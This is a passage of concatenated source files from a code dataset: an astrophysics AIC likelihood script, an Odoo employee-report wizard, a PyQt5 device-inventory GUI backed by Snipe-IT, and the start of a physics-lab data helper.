tmp1.extend(tmp3)\n rne_array=np.array(tmp1)\n for i in open('param_zzh_for_py.txt'):\n if re.match(r'aa\\s',i):\n aa=float(i.split()[1])\n bb=float(i.split()[2])\n cc=float(i.split()[3])\n if re.match(r'^R500',i):\n r500=float(i.split()[1])\n if re.match(r'^R200',i):\n r200=float(i.split()[1])\n ind_50=int((aa-bb)/cc*0.50)\n ind_84=int((aa-bb)/cc*0.84)\n ind_16=int((aa-bb)/cc*0.16)\n if ex_reg == []:\n ex_reg=0.1*r200\n r_array=[]\n re_array=[]\n t_array=[]\n te_array=[]\n rsbp_array=[]\n rsbpe_array=[]\n sbp_array=[]\n sbpe_array=[]\n rcsbp_array=[]\n rcsbpe_array=[]\n csbp_array=[]\n csbpe_array=[]\n flag_tproj_array=[]\n f_sbp_array=[]\n for i in open('global.cfg'):\n if re.match(r'^sbp_data_file',i):\n sbp_data_file=i.split()[1]\n if re.match(r'^temp_data_file',i):\n temp_data_file=i.split()[1]\n#cm_per_pixel=cosmo.kpc_proper_per_arcmin(z).value/60*0.492*kpc*100\n for i in open(temp_data_file):\n r,rer,t,te,flag_tproj=i.split()\n r=float(r)\n rer=float(rer)\n t=float(t)\n te=float(te)\n r_array.append(r)\n re_array.append(rer)\n t_array.append(t)\n te_array.append(te)\n flag_tproj_array.append(flag_tproj)\n t_array=np.array(t_array)\n te_array=np.array(te_array)\n for i in open(sbp_data_file):\n r,rer,sbp,sbpe,f_sbp=i.split()\n r=float(r)\n rer=float(rer)\n sbp=float(sbp)\n sbpe=float(sbpe)\n if f_sbp=='c':\n rcsbp_array.append(r)\n rcsbpe_array.append(rer)\n csbp_array.append(sbp)\n csbpe_array.append(sbpe)\n else:\n rsbp_array.append(r)\n rsbpe_array.append(rer)\n sbp_array.append(sbp)\n sbpe_array.append(sbpe)\n f_sbp_array.append(f_sbp)\n sbp_array=np.array(sbp_array)\n sbpe_array=np.array(sbpe_array)\n csbp_array=np.array(csbp_array)\n csbpe_array=np.array(csbpe_array)\n te_array=te_array+t_array*mte\n csbpe_array=csbpe_array+csbp_array*mcse\n sbpe_array=sbpe_array+sbp_array*mse\n if len(rcsbp_array)>0:\n flag_csbp=True\n else:\n flag_csbp=False\n if sum_array==[]:\n sum_array=np.load('sum_array.npy',allow_pickle=True)\n sum_t_array=np.array(list(sum_array[1]),dtype=float)\n sum_sbp_array=np.array(list(sum_array[6]),dtype=float)\n sum_csbp_array=np.array(list(sum_array[7]),dtype=float)\n sum_tproj_array=np.array(list(sum_array[8]),dtype=float)\n sum_mcalc_array=np.array(list(sum_array[4]),dtype=float)\n sum_mfit_array=np.array(list(sum_array[5]),dtype=float)\n t_array_center=np.sort(sum_t_array,0)[ind_50]\n sbp_array_center=np.sort(sum_sbp_array,0)[ind_50]\n csbp_array_center=np.sort(sum_csbp_array,0)[ind_50]\n tproj_array_center=np.sort(sum_tproj_array,0)[ind_50]\n mcalc_array_center=np.sort(sum_mcalc_array,0)[ind_50]\n mfit_array_center=np.sort(sum_mfit_array,0)[ind_50]\n t_model_array=reassign(r_array,rne_array,t_array_center)\n tproj_model_array=reassign(r_array,rne_array,tproj_array_center)\n sbp_model_array=reassign(rsbp_array,rne_array,sbp_array_center)\n if flag_csbp:\n csbp_model_array=reassign(rcsbp_array,rne_array,csbp_array_center)\n rtmp=np.array(list(range(45)))\n rmass_array=30*np.power(1.11,rtmp)\n for j in range(len(rmass_array)):\n rmass_array[j]=np.int(rmass_array[j])\n rmass_array=np.insert(rmass_array,0,10)\n rmass_array=np.insert(rmass_array,1,20)\n mass_model=reassign(rmass_array,rne_array,mfit_array_center)\n lhood=0\n n=0\n print(ex_reg,mte,mse,mcse)\n for i in range(len(r_array)):\n if flag_tproj_array[i]=='1':\n t_model_this=tproj_model_array[i]\n else:\n t_model_this=t_model_array[i]\n lthis=1/np.sqrt(2*pi)/te_array[i]*np.exp(-(t_array[i]-t_model_this)**2/2/te_array[i]**2)\n if r_array[i]>=ex_reg:\n lhood=lhood+np.log(lthis)\n# print(t_array[i],te_array[i],t_model_this)\n n=n+1\n for i in range(len(sbp_array)):\n lthis=1/np.sqrt(2*pi)/sbpe_array[i]*np.exp(-(sbp_array[i]-sbp_model_array[i])**2/2/sbpe_array[i]**2)\n if rsbp_array[i]>ex_reg:\n lhood=lhood+np.log(lthis)\n# print(sbp_array[i],sbpe_array[i],sbp_model_array[i])\n n=n+1\n if flag_csbp:\n for i in range(len(csbp_array)):\n lthis=1/np.sqrt(2*pi)/csbpe_array[i]*np.exp(-(csbp_array[i]-csbp_model_array[i])**2/2/csbpe_array[i]**2)\n if rcsbp_array[i]>ex_reg:\n lhood=lhood+np.log(lthis)\n# print(csbp_array[i],csbpe_array[i],csbp_model_array[i])\n n=n+1\n aic=2*k-2*lhood\n# aicc=aic+(2*k*k+2*k)/(n-k-1)\n filename='aic_info.txt'\n fi=open(filename,'w')\n print('aic=',aic,file=fi)\n # print('aicc=',aicc,file=fi)\n print(aic)\n return aic\n\nif __name__ == '__main__':\n model_type=sys.argv[1]\n if model_type=='clump':\n num_mp=16\n elif model_type=='ori':\n num_mp=21\n elif model_type=='plain':\n num_mp=13\n elif model_type=='hydro':\n num_mp=18\n else:\n print('model type error')\n exit\n if len(sys.argv)==5:\n a=float(sys.argv[2])\n b=float(sys.argv[3])\n c=float(sys.argv[4])\n ex_reg=[]\n elif len(sys.argv)==6:\n a=float(sys.argv[2])\n b=float(sys.argv[3])\n c=float(sys.argv[4])\n ex_reg=float(sys.argv[5])\n else:\n a=0.03\n b=0.01\n c=0.01\n ex_reg=[]\n main(num_mp,[],a,b,c,ex_reg)\n\n\n\n","repo_name":"zzh0616/entropy","sub_path":"calc_aic.py","file_name":"calc_aic.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24785916282","text":"from odoo import api, models, fields\n\n\nclass EvaluationModelWizard(models.TransientModel):\n _name = 'employee.model.wizard'\n _description = 'Employee Model Wizard'\n\n employee_ids = fields.Many2many('employee.model', string='Employee')\n\n def action_print_report(self):\n employee_list = []\n for rec in self.employee_ids:\n print(rec.id)\n employee_list.append(rec.id)\n print(\"employee_list \", employee_list)\n print(self.read()[0])\n employees = self.env['employee.model'].search_read([])\n print(self.employee_ids)\n data = {'employee_id': employees,\n 'form_data': self.read()[0]}\n return self.env.ref('my_hospital.report_employees_wizard_xls').report_action(self, data=data)\n","repo_name":"minhasmazhar/my_work","sub_path":"my_hospital/wizard/employee_wizard.py","file_name":"employee_wizard.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34036420093","text":"import logging\nimport os\nimport sys\n\nimport requests\nfrom PyQt5 import QtWidgets, QtCore\nfrom PyQt5.QtGui import QIcon, QImage, QPixmap\nfrom PyQt5.QtWidgets import QDialog, QApplication, QHeaderView, QDialogButtonBox, QVBoxLayout, QLabel, QTextEdit, \\\n QLineEdit, QPushButton\nfrom PyQt5.uic import loadUi\n\nimport database as db\nfrom model import Device\nfrom util import custom_logger, snipe_it as si\nfrom util import styles\n\nuser_name = ''\ndevices_from_db = []\nfiltered_devices = []\ndevice = {}\nnew_device = {}\nrow = None\nis_filtered = False # Determines whether any of the filters were applied\n\n\ndef resource_path(relative_path):\n \"\"\" Get absolute path to resource, works for dev and for PyInstaller \"\"\"\n base_path = getattr(sys, '_MEIPASS', os.path.dirname(os.path.abspath(__file__)))\n return os.path.join(base_path, relative_path)\n\n\nclass LoginWindow(QDialog):\n def __init__(self):\n super(LoginWindow, self).__init__()\n loadUi(\"layouts/user_cloud.ui\", self)\n\n # Settings button\n self.settings_button.setIcon(QIcon('icons/settings_filled.svg'))\n self.settings_button.clicked.connect(lambda: self.open_settings())\n\n # Add user button\n self.add_new_user_button.clicked.connect(lambda: self.add_new_user())\n\n # Populate user picker with user list\n with open('data/users.txt', 'r') as f:\n for line in f:\n self.user_picker.addItem(line.strip())\n f.close()\n\n # Open device list button\n self.login_button.clicked.connect(lambda: self.open_devices_list())\n\n def add_new_user(self):\n logging.info(\"Add new user button clicked\")\n create_user_window = CreateUserWindow()\n widget.addWidget(create_user_window)\n widget.setFixedHeight(800)\n widget.setFixedWidth(1200)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n def open_devices_list(self):\n logging.info(\"Login button clicked\")\n user = self.user_picker.currentText()\n global user_name\n user_name = user\n if len(user) == 0:\n self.error_text.setText(\"You should pick a user\")\n else:\n main_window = MainWindow()\n widget.addWidget(main_window)\n # widget.setFixedHeight(800)\n # widget.setFixedWidth(1200)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n new_device['owner'] = user\n\n def open_settings(self):\n logging.info(\"Open Settings button clicked\")\n settings = SettingsWindow()\n widget.addWidget(settings)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass SettingsWindow(QDialog):\n def __init__(self):\n super(SettingsWindow, self).__init__()\n loadUi(\"layouts/settings.ui\", self)\n\n self.back_button.setIcon(QIcon('icons/arrow-left.svg'))\n self.back_button.clicked.connect(lambda: self.go_back())\n\n def go_back(self):\n logging.info(\"Going back to login window\")\n login_window = LoginWindow()\n widget.addWidget(login_window)\n widget.setFixedHeight(800)\n widget.setFixedWidth(1200)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass CreateUserWindow(QDialog):\n def __init__(self):\n super(CreateUserWindow, self).__init__()\n loadUi(\"layouts/create_user.ui\", self)\n\n self.back_button.setIcon(QIcon('icons/arrow-left.svg'))\n\n self.create_new_user_button.clicked.connect(lambda: self.add_new_user())\n self.back_button.clicked.connect(lambda: self.go_back())\n\n def add_new_user(self):\n if len(self.user_name_input.text()) == 0:\n self.error_text.setText(\"Name should not be empty\")\n else:\n with open('data/users.txt', 'a') as f:\n f.write('\\n')\n f.write(''.join(self.user_name_input.text()))\n f.close()\n self.go_back()\n\n def go_back(self):\n logging.info(\"Going back to login window\")\n login_window = LoginWindow()\n widget.addWidget(login_window)\n widget.setFixedHeight(800)\n widget.setFixedWidth(1200)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass MainWindow(QDialog):\n def __init__(self):\n super(MainWindow, self).__init__()\n loadUi(\"layouts/devices_screen.ui\", self)\n\n self.user_name.setText(user_name)\n\n self.profile_button.setIcon(QIcon('icons/user.svg'))\n\n # Search input\n self.search_input.textChanged.connect(lambda: self.search())\n\n # OS filters\n self.all_filter.setIcon(QIcon('icons/home1.svg'))\n self.all_filter.setIconSize(QtCore.QSize(35, 35))\n\n self.android_filter.setIcon(QIcon('icons/android.svg'))\n self.android_filter.setIconSize(QtCore.QSize(35, 35))\n\n self.ios_filter.setIcon(QIcon('icons/ios.svg'))\n self.ios_filter.setIconSize(QtCore.QSize(35, 35))\n\n self.win_filter.setIcon(QIcon('icons/win2.svg'))\n self.win_filter.setIconSize(QtCore.QSize(35, 35))\n\n self.mac_filter.setIcon(QIcon('icons/mac.svg'))\n self.mac_filter.setIconSize(QtCore.QSize(35, 35))\n\n # Back button\n self.back_button.setIcon(QIcon('icons/arrow-left.svg'))\n self.back_button.clicked.connect(lambda: self.go_back())\n\n # Sidebar filters\n self.all_filter.clicked.connect(lambda: self.remove_all_filters())\n self.android_filter.clicked.connect(lambda: self.filter_by_os('android'))\n self.ios_filter.clicked.connect(lambda: self.filter_by_os('ios'))\n self.win_filter.clicked.connect(lambda: self.filter_by_os('windows'))\n self.mac_filter.clicked.connect(lambda: self.filter_by_os('mac'))\n\n # Add button settings\n self.add_device_button.setIcon(QIcon('icons/plus2.svg'))\n self.add_device_button.setIconSize(QtCore.QSize(50, 50))\n self.add_device_button.setGeometry(200, 150, 100, 100)\n self.add_device_button.clicked.connect(lambda: self.add_device())\n\n # Table settings\n self.tableWidget.horizontalHeader().setSectionResizeMode(0, QHeaderView.ResizeToContents)\n self.tableWidget.horizontalHeader().setSectionResizeMode(1, QHeaderView.ResizeToContents)\n self.tableWidget.horizontalHeader().setSectionResizeMode(4, QHeaderView.ResizeToContents)\n self.tableWidget.horizontalHeader().setSectionResizeMode(5, QHeaderView.ResizeToContents)\n self.tableWidget.selectionModel().selectionChanged.connect(self.on_selection_changed)\n\n # self.load_data(db.get_all_devices())\n self.load_data()\n self.populate_devices_table(devices_from_db)\n\n def on_selection_changed(self, selected):\n for index in selected.indexes():\n logging.info(f'selected cell location row is {index.row()}, Column is {index.column()}')\n global row\n row = index.row()\n logging.info(f'clicked row is {row}')\n self.open_device_info()\n\n \"\"\"\n Example for database source\n \n def load_data(self, devices):\n global devices_from_db\n devices_from_db = devices\n row = 0\n self.tableWidget.setRowCount(len(devices))\n for item in devices:\n self.tableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem(item.device_name))\n self.tableWidget.setItem(row, 1, QtWidgets.QTableWidgetItem(item.brand))\n self.tableWidget.setItem(row, 2, QtWidgets.QTableWidgetItem(f\"{item.os_name} {item.os_version}\"))\n self.tableWidget.setItem(row, 3, QtWidgets.QTableWidgetItem(item.cpu))\n self.tableWidget.setItem(row, 4, QtWidgets.QTableWidgetItem(item.owner))\n self.tableWidget.setItem(row, 5, QtWidgets.QTableWidgetItem(item.comment))\n row = row + 1\n \n \"\"\"\n\n def load_data(self):\n global devices_from_db\n devices_from_db = si.get_all_devices()\n\n def populate_devices_table(self, devices):\n row = 0\n self.tableWidget.setRowCount(len(devices))\n for item in devices:\n self.tableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem(item[\"model\"][\"name\"]))\n self.tableWidget.setItem(row, 1, QtWidgets.QTableWidgetItem(item[\"manufacturer\"][\"name\"]))\n self.tableWidget.setItem(row, 2, QtWidgets.QTableWidgetItem(\"\"))\n self.tableWidget.setItem(row, 3, QtWidgets.QTableWidgetItem(\"\"))\n self.tableWidget.setItem(row, 4, QtWidgets.QTableWidgetItem(item[\"assigned_to\"][\"name\"]))\n self.tableWidget.setItem(row, 5, QtWidgets.QTableWidgetItem(item[\"notes\"]))\n row = row + 1\n\n def search(self):\n global devices_from_db\n global filtered_devices\n global is_filtered\n\n text = self.search_input.text().lower()\n\n if len(text) == 0:\n self.populate_devices_table(devices_from_db)\n is_filtered = False\n else:\n filtered_devices.clear()\n for device in devices_from_db:\n if text in device['model']['name'].lower():\n filtered_devices.append(device)\n self.populate_devices_table(filtered_devices)\n is_filtered = True\n\n def filter_devices(self, filter):\n global devices_from_db\n devices_from_db = db.get_devices_by_os(filter)\n return devices_from_db\n\n def filter_by_os(self, os):\n global devices_from_db\n global filtered_devices\n global is_filtered\n filtered_devices = []\n\n if os == 'ios':\n for device in devices_from_db:\n if device['manufacturer']['name'].lower() == 'apple':\n filtered_devices.append(device)\n elif os == 'android':\n for device in devices_from_db:\n if device['manufacturer']['name'].lower() in ['samsung', 'google', 'xiaomi', 'huawei']:\n filtered_devices.append(device)\n self.populate_devices_table(filtered_devices)\n\n is_filtered = True\n\n def remove_all_filters(self):\n global is_filtered\n self.populate_devices_table(devices_from_db)\n is_filtered = False\n\n def add_device(self):\n logging.info(\"Open Device button clicked\")\n add_device1 = DeviceDialog1()\n widget.addWidget(add_device1)\n widget.setFixedHeight(500)\n widget.setFixedWidth(400)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n def open_device_info(self):\n logging.info(\"Open Device info button clicked\")\n device_info = DeviceInfo()\n widget.addWidget(device_info)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n def go_back(self):\n logging.info(\"Going back to login window\")\n login_window = LoginWindow()\n widget.addWidget(login_window)\n widget.setFixedHeight(800)\n widget.setFixedWidth(1200)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass DeviceDialog1(QDialog):\n def __init__(self):\n super(DeviceDialog1, self).__init__()\n loadUi(\"layouts/add_device1.ui\", self)\n\n # Back button\n self.backButton.setIcon(QIcon('icons/arrow-left.svg'))\n self.backButton.clicked.connect(lambda: self.go_back())\n\n # Next button\n self.nextButton.clicked.connect(lambda: self.open_os_input())\n\n def open_os_input(self):\n logging.info(\"Open OS info button clicked\")\n add_device2 = DeviceDialog2()\n widget.addWidget(add_device2)\n widget.setFixedHeight(500)\n widget.setFixedWidth(400)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n new_device['device_name'] = self.device_input.text()\n new_device['brand'] = self.brand_input.text()\n\n def go_back(self):\n logging.info(\"Going back to main window\")\n mainwindow = MainWindow()\n widget.addWidget(mainwindow)\n widget.setFixedHeight(800)\n widget.setFixedWidth(1200)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass DeviceDialog2(QDialog):\n def __init__(self):\n super(DeviceDialog2, self).__init__()\n loadUi(\"layouts/add_device2.ui\", self)\n\n self.os_dropdown.addItem('Android')\n self.os_dropdown.addItem('iOS')\n self.os_dropdown.addItem('Windows')\n self.os_dropdown.addItem('macOS')\n\n # Next button\n self.nextButton.clicked.connect(lambda: self.open_identifiers_input())\n\n # Back button\n self.backButton.setIcon(QIcon('icons/arrow-left.svg'))\n self.backButton.clicked.connect(lambda: self.go_back())\n\n def open_identifiers_input(self):\n logging.info(\"Open identifiers button clicked\")\n add_device3 = DeviceDialog3()\n widget.addWidget(add_device3)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n new_device['os_name'] = self.os_dropdown.currentText()\n new_device['os_version'] = self.os_version_input.text()\n\n def go_back(self):\n logging.info(\"Going back to screen 1\")\n add_device1 = DeviceDialog1()\n widget.addWidget(add_device1)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass DeviceDialog3(QDialog):\n def __init__(self):\n super(DeviceDialog3, self).__init__()\n loadUi(\"layouts/add_device3.ui\", self)\n\n # Next button\n self.nextButton.clicked.connect(lambda: self.open_not_compatible_input())\n\n # Back button\n self.backButton.setIcon(QIcon('icons/arrow-left.svg'))\n self.backButton.clicked.connect(lambda: self.go_back())\n\n def open_not_compatible_input(self):\n logging.info(\"Open comments button clicked\")\n add_device4 = DeviceDialog4()\n widget.addWidget(add_device4)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n new_device['snipe_it'] = self.snipe_it_input.text()\n new_device['serial_number'] = self.serial_number_input.text()\n new_device['identifier'] = self.identifier_input.text()\n\n def go_back(self):\n logging.info(\"Going back to screen 2\")\n add_device2 = DeviceDialog2()\n widget.addWidget(add_device2)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass DeviceDialog4(QDialog):\n def __init__(self):\n super(DeviceDialog4, self).__init__()\n loadUi(\"layouts/add_device4.ui\", self)\n\n # Next button\n self.nextButton.clicked.connect(lambda: self.open_cpu_input())\n\n # Back button\n self.backButton.setIcon(QIcon('icons/arrow-left.svg'))\n self.backButton.clicked.connect(lambda: self.go_back())\n\n def open_cpu_input(self):\n logging.info(\"Open cpu button clicked\")\n add_device5 = DeviceDialog5()\n widget.addWidget(add_device5)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n new_device['comment'] = self.comments_input.toPlainText()\n logging.info(new_device)\n\n def go_back(self):\n logging.info(\"Going back to screen 3\")\n add_device3 = DeviceDialog3()\n widget.addWidget(add_device3)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass DeviceDialog5(QDialog):\n def __init__(self):\n super(DeviceDialog5, self).__init__()\n loadUi(\"layouts/add_device5.ui\", self)\n\n # Next button\n self.nextButton.clicked.connect(lambda: self.open_confirmation_screen())\n\n # Back button\n self.backButton.setIcon(QIcon('icons/arrow-left.svg'))\n self.backButton.clicked.connect(lambda: self.go_back())\n\n def open_confirmation_screen(self):\n logging.info(\"Open not compatible with input\")\n confirmation_screen = ConfirmationDialogue()\n widget.addWidget(confirmation_screen)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n new_device['cpu'] = self.cpu_input.text()\n\n def go_back(self):\n logging.info(\"Going back to screen 4\")\n add_device4 = DeviceDialog4()\n widget.addWidget(add_device4)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass DeviceDialog6(QDialog):\n def __init__(self):\n super(DeviceDialog6, self).__init__()\n loadUi(\"layouts/add_device6.ui\", self)\n\n self.dropdown.addItem('-')\n self.dropdown.addItem('Guitar Tuna')\n self.dropdown.addItem('Yousician')\n self.dropdown.addItem('Campfire')\n\n # Add device button\n self.nextButton.clicked.connect(lambda: self.open_confirmation_screen())\n\n # Back button\n self.backButton.setIcon(QIcon('icons/arrow-left.svg'))\n self.backButton.clicked.connect(lambda: self.go_back())\n\n def open_confirmation_screen(self):\n logging.info(\"Confirmation button clicked\")\n confirmation_screen = ConfirmationDialogue()\n widget.addWidget(confirmation_screen)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n new_device['not_compatible_with'] = self.dropdown.currentText()\n logging.info(new_device)\n\n def go_back(self):\n logging.info(\"Going back to screen 5\")\n add_device5 = DeviceDialog5()\n widget.addWidget(add_device5)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass ConfirmationDialogue(QDialog):\n\n def __init__(self):\n super(ConfirmationDialogue, self).__init__()\n loadUi(\"layouts/add_device_confirmation.ui\", self)\n\n text = ''\n\n for key, value in new_device.items():\n text += (\"{}: {}\".format(key, value) + '\\n')\n\n self.confirm_text.setText(f'Are you sure you want to add this \\ndevice? \\n\\n{text}')\n\n self.confirm_button.clicked.connect(lambda: self.add_device())\n self.back_button.clicked.connect(lambda: self.go_back())\n\n def add_device(self):\n device_object = Device(\n device_name=new_device['device_name'],\n brand=new_device['brand'],\n os_name=new_device['os_name'],\n os_version=new_device['os_version'],\n cpu=new_device['cpu'],\n owner=new_device['owner'],\n snipe_it=new_device['snipe_it'],\n serial_number=new_device['serial_number'],\n identifier=new_device['identifier'],\n comment=new_device['comment'])\n db.add_device(device_object)\n self.open_devices_list()\n\n def open_devices_list(self):\n main_window = MainWindow()\n widget.addWidget(main_window)\n widget.setFixedHeight(800)\n widget.setFixedWidth(1200)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n def go_back(self):\n logging.info(\"Going back to screen 4\")\n add_device4 = DeviceDialog4()\n widget.addWidget(add_device4)\n widget.setFixedHeight(501)\n widget.setFixedWidth(411)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass DeviceInfo(QDialog):\n def __init__(self):\n super(DeviceInfo, self).__init__()\n loadUi(\"layouts/device_info.ui\", self)\n widget.setFixedHeight(470) # Extended height +20 is set to fit on small screens\n widget.setFixedWidth(1120)\n\n self.input = None\n self.edit_button.clicked.connect(lambda: self.switch_edit_mode())\n self.take_device_button.clicked.connect(lambda: self.take_device())\n\n self.back_button.setIcon(QIcon('icons/arrow-left.svg'))\n self.back_button.clicked.connect(lambda: self.go_back())\n\n self.populate_device_fields()\n\n # db_device = devices_from_db[row]\n\n def populate_device_fields(self):\n global device\n\n if is_filtered:\n device = filtered_devices[row]\n else:\n device = devices_from_db[row]\n\n # Checking image link for Null\n if device['image'] is not None:\n image = QImage().scaled(30, 20, QtCore.Qt.KeepAspectRatio)\n image.loadFromData(requests.get(device['image']).content)\n self.device_picture.setPixmap(QPixmap(image))\n else:\n self.device_picture.setPixmap(QPixmap('icons/no_image_available.svg'))\n self.device_picture.setFixedWidth(48)\n self.device_picture.setFixedHeight(48)\n\n self.device_name.setText(device['model']['name'])\n self.cpu.setText('')\n self.owner.setText(device['assigned_to']['username'])\n self.os_version.setText('')\n self.snipe_it.setText(device['asset_tag'])\n self.serial_number.setText(device['serial'])\n self.identifier.setText('')\n self.comments.setText(device['notes'])\n\n # self.device_picture.setPixmap(QPixmap(image))\n # self.device_name.setText(db_device.device_name)\n # self.cpu.setText(db_device.cpu)\n # self.owner.setText(db_device.owner)\n # self.os_version.setText(f\"{db_device.os_name} {db_device.os_version}\")\n # self.snipe_it.setText(db_device.snipe_it)\n # self.serial_number.setText(db_device.serial_number)\n # self.identifier.setText(db_device.identifier)\n # self.comments.setText(db_device.comment)\n\n def switch_edit_mode(self):\n\n save_button = QPushButton(\"SAVE\")\n cancel_button = QPushButton(\"CANCEL\")\n\n if self.edit_buttons_layout.count() < 2:\n\n \"\"\"Delete edit button\"\"\"\n\n self.edit_button.setParent(None)\n\n \"\"\"Add save and cancel buttons\"\"\"\n\n save_button.setStyleSheet(styles.primary_button_light)\n cancel_button.setStyleSheet(styles.secondary_button_light)\n\n save_button.setMinimumSize(55, 30)\n cancel_button.setMinimumSize(70, 30)\n self.edit_buttons_layout.addWidget(save_button, alignment=QtCore.Qt.AlignLeft)\n self.edit_buttons_layout.addWidget(cancel_button, alignment=QtCore.Qt.AlignLeft)\n\n \"\"\"Replace comment with input\"\"\"\n\n input = QLineEdit()\n input.setPlaceholderText(\"Insert value\")\n input.setStyleSheet(styles.search_input_light)\n input.setMaximumSize(500, 30)\n input.setMinimumWidth(185)\n\n number_of_widgets = self.values.count()\n\n if number_of_widgets > 12:\n widget_to_delete = self.values.itemAt(13).widget()\n widget_to_delete.setParent(None)\n\n self.values.addWidget(input, 6, 1, alignment=QtCore.Qt.AlignLeft)\n\n \"\"\"Default status button if it was changed\"\"\"\n\n if len(self.status_label.text()) > 0:\n self.status_label.setText(\"\")\n\n cancel_button.clicked.connect(lambda: self.switch_edit_mode())\n\n save_button.clicked.connect(lambda: self.change_comment(input.text()))\n else:\n\n \"\"\"Delete save an cancel buttons\"\"\"\n\n deleteItems(self.edit_buttons_layout)\n\n \"\"\"Delete input box\"\"\"\n\n widget_to_delete = self.values.itemAt(13).widget()\n widget_to_delete.setParent(None)\n\n \"\"\"Add comment back to layout\"\"\"\n\n new_comment = si.get_device_by_row(row)['notes']\n comment = QLabel(new_comment)\n self.values.addWidget(comment, 6, 1, alignment=QtCore.Qt.AlignLeft)\n\n \"\"\"Return edit button to layout to layout\"\"\"\n\n edit_button = QPushButton(\"EDIT\")\n edit_button.setStyleSheet(styles.primary_button_light)\n\n edit_button.setMinimumSize(50, 30)\n\n edit_button.clicked.connect(lambda: self.switch_edit_mode())\n\n self.edit_buttons_layout.addWidget(edit_button, alignment=QtCore.Qt.AlignLeft)\n\n self.edit_button = edit_button\n\n logging.info(f'number of widgets: {self.edit_buttons_layout.count()}')\n\n def change_comment(self, comment):\n si.change_device_field(device['id'], 'notes', comment)\n custom_logger.write_to_custom_log(f'{device[\"model\"][\"name\"]} comment is changed by {user_name}'\n f', previous version was \\\"{device[\"notes\"]}\\\"')\n\n if si.last_response_code == 200:\n self.status_label.setText(\"Saved\")\n self.switch_edit_mode()\n else:\n self.status_label.setText(\"Oops! Something went wrong\")\n\n def take_device(self):\n logging.info(\"Take device button clicked\")\n custom_logger.write_to_custom_log(f'{device[\"model\"][\"name\"]} is taken by {user_name}')\n # TODO: change device owner\n # TODO: open cabinet\n\n def change_device_info(self):\n logging.info(\"Change device info button clicked\")\n custom_logger.write_to_custom_log(f'{device[\"model\"][\"name\"]} fields are changed by {user_name}')\n # TODO: open device fields\n\n def go_back(self):\n logging.info(\"Going back to main window\")\n mainwindow = MainWindow()\n widget.addWidget(mainwindow)\n widget.setFixedHeight(800)\n widget.setFixedWidth(1200)\n widget.setCurrentIndex(widget.currentIndex() + 1)\n\n\nclass CustomDialog(QDialog):\n def __init__(self):\n super().__init__()\n\n self.text_input = QTextEdit()\n self.setWindowTitle(\"Change device comment\")\n\n buttons = QDialogButtonBox.Ok | QDialogButtonBox.Cancel\n\n self.buttonBox = QDialogButtonBox(buttons)\n self.buttonBox.accepted.connect(self.accept)\n self.buttonBox.rejected.connect(self.reject)\n\n self.layout = QVBoxLayout()\n message = QLabel(\"New comment\")\n self.layout.addWidget(message)\n self.layout.addWidget(self.text_input)\n self.layout.addWidget(self.buttonBox)\n self.setLayout(self.layout)\n\ndef deleteItems(layout):\n if layout is not None:\n while layout.count():\n item = layout.takeAt(0)\n widget = item.widget()\n if widget is not None:\n widget.deleteLater()\n\n\nif __name__ == '__main__':\n logging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s %(levelname)s %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\"\n )\n\n app = QApplication(sys.argv)\n\n login_window = LoginWindow()\n widget = QtWidgets.QStackedWidget()\n widget.addWidget(login_window)\n\n widget.setFixedHeight(800)\n widget.setFixedWidth(1200)\n widget.setWindowTitle(\"Device inventory\")\n widget.setWindowIcon(QIcon('icons/phone_iphone.svg'))\n\n widget.show()\n try:\n sys.exit(app.exec_())\n except:\n logging.info(\"Exiting\")\n","repo_name":"fedulovs/InventoryUI","sub_path":"view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":26947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39709113447","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 21 14:42:52 2017\n\n@author: Sebastian\n\"\"\"\n\nimport Praktikum as p\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef find_nearest(array,value):\n idx = (np.abs(array-value)).argmin()\n return idx\n\n \ndef get_zeros(t,U,index_output=True):\n '''\n gibt liste mit Tupeln der Form (t,U,index) zurück,\n dieser index und nächster sind die \"nullstellen\"\n '''\n zeros=[]\n for i in 